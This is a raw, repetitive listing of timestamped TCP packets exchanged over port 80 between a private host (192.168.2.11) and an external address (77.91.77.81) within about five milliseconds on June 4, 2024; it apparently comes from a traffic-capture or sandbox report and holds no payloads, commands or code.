Jun 4, 2024 23:09:16.742608070 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742616892 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742618084 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742629051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742640018 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742649078 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742679119 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742855072 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742866039 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742877007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742882967 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742888927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742893934 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742899895 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742954016 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742965937 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742970943 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.742978096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.742991924 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743001938 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743010998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743014097 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743026018 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743037939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743045092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743056059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743066072 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743068933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743081093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743093014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743098974 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743104935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743112087 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743117094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743136883 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743149996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743160963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743161917 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743179083 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743190050 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743196964 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743202925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743213892 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743216038 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743227005 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743243933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743247032 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743267059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743272066 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743293047 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743314028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743315935 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743326902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743339062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743349075 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743369102 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743479967 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743503094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743515015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743521929 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743526936 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743539095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743549109 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743551016 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743565083 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743570089 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743577957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743591070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743597984 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743621111 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743638992 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743674994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743688107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743700027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743710995 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743716002 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743722916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743736029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743736029 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743748903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743750095 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743761063 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743774891 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743776083 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743786097 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743798971 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743802071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.743809938 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.743844032 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744007111 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744019032 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744030952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744059086 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744071007 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744157076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744168997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744180918 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744191885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744196892 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744204998 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744214058 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744218111 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744230032 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744237900 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744241953 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744252920 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744257927 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744266033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744286060 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744313002 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744314909 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744333029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744343996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744363070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744369984 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744375944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744386911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744389057 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744400024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744415998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744416952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744429111 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744437933 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744441032 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744452953 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744453907 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744471073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744488955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744488955 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744508982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744509935 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744527102 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744530916 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744539976 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744549990 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744558096 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744570017 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744575977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744580984 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744594097 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744604111 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744605064 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744617939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744617939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744641066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744643927 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744653940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744667053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744668007 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744679928 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744693041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744694948 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744704962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744715929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744720936 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744726896 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744738102 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744740009 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744750023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744761944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.744765043 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744781971 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.744796991 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.745174885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.745245934 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.745258093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.745273113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.745285034 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.745290995 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.745297909 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.745316982 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.745327950 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.745873928 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.745892048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.745918036 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.745942116 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746090889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746108055 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746120930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746134043 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746134043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746144056 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746146917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746157885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746165037 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746170998 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746181965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746187925 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746193886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746205091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746216059 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746216059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746227026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746241093 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746247053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746248007 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746264935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746275902 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746278048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746289015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746289968 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746306896 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746309996 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746313095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746316910 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746318102 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746324062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746329069 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746335030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746345997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746357918 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746367931 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746370077 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746376038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746387005 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746397018 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746398926 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746417046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746417046 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746436119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746443033 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746448040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746455908 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746469021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746485949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746491909 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746498108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746500015 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746510983 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746524096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746527910 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746535063 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746542931 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746546030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746557951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746562004 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746571064 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746583939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746587038 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746596098 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746596098 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746608973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746619940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746629000 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746633053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746644974 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746649027 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746658087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746658087 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746670008 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746681929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746686935 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746694088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746710062 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746727943 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746748924 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746813059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746846914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746850014 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746872902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746879101 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746911049 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746933937 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746943951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746957064 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.746997118 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.746997118 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747030020 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747131109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747148991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747160912 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747179985 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747186899 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747191906 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747204065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747215033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747219086 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747226954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747240067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747251987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747265100 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747276068 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747276068 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747276068 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747282028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747296095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747306108 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747308969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747319937 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747323990 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747332096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747344017 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747349024 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747356892 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747370005 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747376919 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747381926 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747394085 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747397900 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747406960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747419119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747421980 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747437954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747447014 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747458935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747466087 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747478008 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747488976 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747495890 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747508049 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747509956 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747520924 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747522116 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747533083 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747545004 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747551918 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747556925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747567892 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747575045 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747579098 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747591019 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747598886 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747606993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747613907 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747621059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747634888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747636080 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747647047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747658968 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.747658968 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747670889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747683048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.747683048 CEST	49713	80	192.168.2.11	77.91.77.81
